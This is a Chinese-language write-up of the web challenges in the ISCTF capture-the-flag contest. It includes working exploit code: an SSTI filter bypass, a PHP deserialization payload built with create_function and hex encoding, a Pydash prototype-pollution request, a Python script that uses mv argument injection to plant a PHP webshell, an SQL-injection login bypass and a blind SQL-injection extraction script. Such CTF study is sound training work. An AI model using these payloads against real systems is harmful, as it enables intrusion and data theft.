ISCTF部分web-Writeup

难过的bottle#

打开网页，先随便上传一个压缩包看看功能。一个123.txt文件，里面是123

发现有报错，怀疑是ssti，再看题目名字应该是Python Bottle SSTI注入。把内容改成模板语句

1
{{7*7}}

被过滤了，黑盒不太会啊。看一下源码

1
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

过滤这么多，不会做了。网上找资料，找到一个说可以全角字符可以绕过。

https://zhuanlan.zhihu.com/p/14023848669

payload

1
{{ ｏｐｅｎ('/flag').ｒｅａｄ() }}

Bypass#

源码

1
<?php
2
class FLAG
3
{
4
    private $a;
5
    protected $b;
6
    public function __construct($a, $b)
7
        {
8
            $this->a = $a;
9
            $this->b = $b;
10
            $this->check($a,$b);
11
            eval($a.$b);
12
        }
13
    public function __destruct(){
14
            $a = (string)$this->a;
15
            $b = (string)$this->b;
16
            if ($this->check($a,$b)){
17
                $a("", $b);
18
            }
19
            else{
20
                echo "Try again!";
21
            }
22
        }
23
    private function check($a, $b) {
24
        $blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
25
        $blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
26

27
        $pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
28
        $pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
29

30
        if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
31
            return false;
32
        }
33
        return true;
34
    }
35
}
36

37

38
if (isset($_GET['exp'])) {
39
    $p = unserialize($_GET['exp']);
40
    var_dump($p);
41
}else{
42
    highlight_file("index.php");
43
}

漏洞利用点位于 __destruct() 魔法方法中的可变函数调用：$a("", $b)。而这里是可按的，就可以设置成类似system('ls')执行命令，但是他会先通过check方法进行过滤。这里过滤得比较严格。 绕过思路：create_function + 十六进制编码将$a设置成create_function $b赋值为} $z="system"; $z("ls"); /*。因为要用到system，但是被过滤了，此时就可以转成16进制绕过

1
# system
2
\x73\x79\x73\x74\x65\x6d
3

4
# cat /flag
5
\x63\x61\x74\x20\x2f\x66\x6c\x61\x67
6

7
#\x2f，这个对应的是(\)。其中有个f也被过滤了，这里转成8进制
8

9
\x63\x61\x74\x20\057\x66\154\x61\x67

所以此时$b是

1
$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';

exp：

1
<?php
2
class FLAG
3
{
4
    private $a;
5
    protected $b;
6

7
    public function __construct($a, $b)
8
    {
9
        $this->a = $a;
10
        $this->b = $b;
11
    }
12
}
13

14
$str_system = '\x73\x79\x73\x74\x65\x6d';
15

16

17
$str_cmd = '\x63\x61\x74\x20\057\x66\154\x61\x67';
18

19
$payload_b = '} $z="' . $str_system . '"; $z("' . $str_cmd . '"); /*';
20
# echo $payload_b;
21

22
$a = "create_function";
23
$b = $payload_b;
24

25
$obj = new FLAG($a, $b);
26
$serialized = serialize($obj);
27

28
echo urlencode($serialized) . "\n";
29

30
?>

flag？我就借走了#

根据提示和大概的分析应该和tar和有关，网上搜了下相关的资料，有一个有用的

https://xz.aliyun.com/news/2269

直接构造

点击这个flag。会下载一个文件，里面就有flag

Who am I#

前面通过一个修改登录包的type值为1，可以获取管理员权限，里面可以看到源码。

源码

1
from flask import Flask,request,render_template,redirect,url_for
2
import json
3
import pydash
4

5
app=Flask(__name__)
6

7
database={}
8
data_index=0
9
name=''
10

11
@app.route('/',methods=['GET'])
12
def index():
13
    return render_template('login.html')
14

15
@app.route('/register',methods=['GET'])
16
def register():
17
    return render_template('register.html')
18

19
@app.route('/registerV2',methods=['POST'])
20
def registerV2():
21
    username=request.form['username']
22
    password=request.form['password']
23
    password2=request.form['password2']
24
    if password!=password2:
25
        return '''
26
        <script>
27
        alert('前后密码不一致，请确认后重新输入。');
28
        window.location.href='/register';
29
        </script>
30
        '''
31
    else:
32
        global data_index
33
        data_index+=1
34
        database[data_index]=username
35
        database[username]=password
36
        return redirect(url_for('index'))
37

38
@app.route('/user_dashboard',methods=['GET'])
39
def user_dashboard():
40
    return render_template('dashboard.html')
41

42
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
43
def A272e1739b89da32e983970ece1a086bd():
44
    return render_template('admin.html')
45

46
@app.route('/operate',methods=['GET'])
47
def operate():
48
    username=request.args.get('username')
49
    password=request.args.get('password')
50
    confirm_password=request.args.get('confirm_password')
51
    if username in globals() and "old" not in password:
52
        Username=globals()[username]
53
        try:
54
            pydash.set_(Username,password,confirm_password)
55
            return "oprate success"
56
        except:
57
            return "oprate failed"
58
    else:
59
        return "oprate failed"
60

61
@app.route('/user/name',methods=['POST'])
62
def name():
63
    return {'username':user}
64

65
def logout():
66
    return redirect(url_for('index'))
67

68
@app.route('/reset',methods=['POST'])
69
def reset():
70
    old_password=request.form['old_password']
71
    new_password=request.form['new_password']
72
    if user in database and database[user] == old_password:
73
        database[user]=new_password
74
        return '''
75
        <script>
76
        alert('密码修改成功，请重新登录。');
77
        window.location.href='/';
78
        </script>
79
        '''
80
    else:
81
        return '''
82
        <script>
83
        alert('密码修改失败，请确认旧密码是否正确。');
84
        window.location.href='/user_dashboard';
85
        </script>
86
        '''
87

88
@app.route('/impression',methods=['GET'])
89
def impression():
90
    point=request.args.get('point')
91
    if len(point) > 5:
92
        return "Invalid request"
93
    List=["{","}",".","%","<",">","_"]
94
    for i in point:
95
        if i in List:
96
            return "Invalid request"
97
    return render_template(point)
98

99
@app.route('/login',methods=['POST'])
100
def login():
101
    username=request.form['username']
102
    password=request.form['password']
103
    type=request.form['type']
104
    if username in database and database[username] != password:
105
        return '''
106
        <script>
107
        alert('用户名或密码错误请重新输入。');
108
        window.location.href='/';
109
        </script>
110
        '''
111
    elif username not in database:
112
        return '''
113
        <script>
114
        alert('用户名或密码错误请重新输入。');
115
        window.location.href='/';
116
        </script>
117
        '''
118
    else:
119
        global name
120
        name=username
121
        if int(type)==1:
122
            return redirect(url_for('user_dashboard'))
123
        elif int(type)==0:
124
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
125

126
if __name__=='__main__':
127
    app.run(host='0.0.0.0',port=8080,debug=False)

借助ai分析是一个原型链染污和ssti注入的。网上也有相应的资料。

https://hadagaga.github.io/2025/04/08/Pydash-set原型链污染漏洞解析/index.html

通过pydash.set_这个函数会造成原型链污染。

1
pydash.set_(obj,path,value)

obj：要操作的目标对象（字典、列表、对象实例等）。
path：赋值的路径，可以是字符串（用.分隔层级）、列表 / 元组（包含键 / 索引）。
value：要设置的值。

render_template会一个渲染模板文件。

obj：要操作的目标对象（字典、列表、对象实例等）。
path：赋值的路径，可以是字符串（用.分隔层级）、列表 / 元组（包含键 / 索引）。
value：要设置的值。其他分析就不懂了，直接构造吧

1
/operate?username=app&password=jinja_loader.searchpath.0&confirm_password=/

password这里问的ai

然后再请求/impression

1
/impression?point=flag

mv_upload#

拿到源码

1
<?php
2
$uploadDir = '/tmp/upload/'; // 临时目录
3
$targetDir = '/var/www/html/upload/'; // 存储目录
4

5
$blacklist = [
6
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
7
];
8

9
$message = '';
10
$filesInTmp = [];
11

12
// 创建目标目录
13
if (!is_dir($targetDir)) {
14
    mkdir($targetDir, 0755, true);
15
}
16

17
if (!is_dir($uploadDir)) {
18
    mkdir($uploadDir, 0755, true);
19
}
20

21
// 上传临时目录
22
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
23
    $uploadedFiles = $_FILES['files'];
24
    foreach ($uploadedFiles['name'] as $index => $filename) {
25
        if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
26
            $message .= "文件 {$filename} 上传失败。<br>";
27
            continue;
28
        }
29

30
        $tmpName = $uploadedFiles['tmp_name'][$index];
31

32
        $filename = trim(basename($filename));
33
        if ($filename === '') {
34
            $message .= "文件名无效，跳过。<br>";
35
            continue;
36
        }
37

38
        $fileParts = pathinfo($filename);
39
        $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
40

41
        $extension = trim($extension, '.');
42

43
        if (in_array($extension, $blacklist)) {
44
            $message .= "文件 {$filename} 因类型不安全（.{$extension}）被拒绝。<br>";
45
            continue;
46
        }
47

48
        $destination = $uploadDir . $filename;
49

50
        if (move_uploaded_file($tmpName, $destination)) {
51
            $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
52
        } else {
53
            $message .= "文件 {$filename} 移动失败。<br>";
54
        }
55
    }
56
}
57

58
// 获取临时目录中的所有文件
59
if (is_dir($uploadDir)) {
60
    $handle = opendir($uploadDir);
61
    if ($handle) {
62
        while (($file = readdir($handle)) !== false) {
63
            if (is_file($uploadDir . $file)) {
64
                $filesInTmp[] = $file;
65
            }
66
        }
67
        closedir($handle);
68
    }
69
}
70

71
// 处理确认上传完毕（移动文件）
72
if (isset($_POST['confirm_move'])) {
73
    if (empty($filesInTmp)) {
74
        $message .= "没有可移动的文件。<br>";
75
    } else {
76
        $output = [];
77
        $returnCode = 0;
78
        exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
79
        if ($returnCode === 0) {
80
            foreach ($filesInTmp as $file) {
81
                $message .= "已移动文件: {$file} 至$targetDir$file<br>";
82
            }
83
        } else {
84
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
85
        }
86
    }
87
}
88
?>
89

90
<!DOCTYPE html>
91
<html lang="zh-CN">
92
<head>
93
    <meta charset="UTF-8">
94
    <title>多文件上传服务</title>
95
    <style>
96
        body { font-family: Arial, sans-serif; margin: 20px; }
97
        .container { max-width: 800px; margin: auto; }
98
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
99
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
100
        ul { list-style-type: none; padding: 0; }
101
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
102
    </style>
103
</head>
104
<body>
105
<div class="container">
106
    <h2>多文件上传服务</h2>
107

108
    <?php if ($message): ?>
109
        <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
110
            <?= $message ?>
111
        </div>
112
    <?php endif; ?>
113

114
    <form method="POST" enctype="multipart/form-data">
115
        <label for="files">选择文件：</label><br>
116
        <input type="file" name="files[]" id="files" multiple required>
117
        <button type="submit" name="upload">上传到临时目录</button>
118
    </form>
119

120
    <hr>
121

122
    <h3>待确认上传文件</h3>
123
    <?php if (empty($filesInTmp)): ?>
124
        <p>暂无待确认上传文件</p>
125
    <?php else: ?>
126
        <ul>
127
            <?php foreach ($filesInTmp as $file): ?>
128
                <li><?= htmlspecialchars($file) ?></li>
129
            <?php endforeach; ?>
130
        </ul>
131
        <form method="POST">
132
            <button type="submit" name="confirm_move">确认上传完毕，移动到存储目录</button>
133
        </form>
134
    <?php endif; ?>
135
</div>
136
</body>
137
</html>

过滤了挺多的，另外几个没过滤了也试了。然后根据提示应该是和mv相关的。网上看了下资料，也问了下ai。

https://blog.csdn.net/2301_81831423/article/details/144995798

漏洞点：

1
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);

mv注入要用到这两个参数

-b: 启用备份模式，当目标文件存在时创建备份
-S SUFFIX: 指定备份文件的后缀 payload：

先上传一个名为shll.的webshll
然后上传一个名为-b
上传一个名为-Sphp
然后再上传一遍名为shell.
最终mv会创建备份文件shell.php

然后上传到存储目录，此时就有一个shell.php文件。

exp：

1
#!/usr/bin/env python3
2
import requests
3
import random
4

5
BASE_URL = "http://challenge.bluesharkinfo.com:28440"
6

7
def upload_file(filename, content="x"):
8
    files = {'files[]': (filename, content)}
9
    data = {'upload': '1'}
10
    r = requests.post(BASE_URL + "/", files=files, data=data)
11
    return '已上传' in r.text or '成功' in r.text
12

13
def confirm_move():
14
    data = {'confirm_move': '1'}
15
    r = requests.post(BASE_URL + "/", data=data)
16
    return r.text
17

18
uid = random.randint(10000, 99999)
19
shell = '<?php system($_GET["c"]); ?>'
20

21
# Step 1: 上传 webshell（文件名以点结尾）
22
upload_file(f"shell_{uid}.", shell)
23
confirm_move()
24

25
# Step 2: 上传参数文件
26
upload_file("-b", "")           # 启用备份
27
upload_file("-Sphp", "")        # 后缀设为 php（无点绕过黑名单）
28

29
# Step 3: 再次上传同名文件触发备份
30
upload_file(f"shell_{uid}.", shell + " NEW")
31
confirm_move()
32

33
# Step 4: 访问生成的 .php 文件
34
backup_url = f"{BASE_URL}/upload/shell_{uid}.php"
35
r = requests.get(backup_url + "?c=cat /flag")
36
print(f"FLAG: {r.text}")

ezrce#

源码

1
<?php
2
highlight_file(__FILE__);
3

4
if(isset($_GET['code'])){    $code = $_GET['code'];
5
    if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
6
        eval($code);
7
    }else{
8
        die('师傅，你想拿flag？');
9
    }
10
}

无参数RCE，通过http请求头通过 getallheaders()：获取所有HTTP请求标头然后通过end或者pos去取值

flag到底在哪#

用dirsearch扫描到admin/login.php

提示说必须要用admin登录。爆破了一下用万能密码成功登录

1
' OR '1'='1

登录进行后可以上传文件，直接上传一句话木马。然后执行命令

kaqiWeaponShop#

打开网页在编码Id这里存在注入，然后通过测试发现select、from等这些没有被过滤，而且提示说flag 在 flag 表中的 flag 列。然后丢给ai写一个脚本。 exp：

1
#!/usr/bin/env python3
2
import requests
3
import re
4
import string
5

6
url = "http://challenge.bluesharkinfo.com:22849/"
7

8
def check(condition):
9
    payload = f"(SELECT(flag)FROM(flag)WHERE(id=1)AND({condition}))"
10
    r = requests.get(url, params={"id": payload, "name": "", "p": "1"}, timeout=5)
11
    spans = re.findall(r'<span>(\d+)</span>', r.text)
12
    return '1' not in spans
13

14
print("=== Corrected extraction (- instead of _) ===", flush=True)
15

16
# 从正确的前缀开始
17
flag = "ISCTF{"
18
print(f"Starting: {flag} (len={len(flag)})", flush=True)
19

20
# 使用ASCII顺序提取每个字符
21
for pos in range(len(flag), 43):
22
    found = False
23

24
    # 从低到高ASCII搜索
25
    for i in range(32, 127):
26
        c = chr(i)
27
        if c in "'\"\\":
28
            continue
29

30
        test = flag + c
31
        ge = check(f"flag>='{test}'")
32

33
        if not ge:
34
            # flag < test，前一个字符是正确的
35
            if i > 32:
36
                prev = chr(i-1)
37
                flag += prev
38
                print(f"[{pos}] '{prev}' (ASCII {i-1}) -> {flag}", flush=True)
39
                found = True
40
            break
41

42
    if not found:
43
        print(f"[{pos}] No char found", flush=True)
44
        break
45

46
    if flag.endswith("}"):
47
        print("\n[!] Flag complete!", flush=True)
48
        break
49

50
print(f"\n{'='*50}", flush=True)
51
print(f"FLAG: {flag}", flush=True)
52
print(f"Length: {len(flag)}", flush=True)
53
print(f"{'='*50}", flush=True)

dnnwl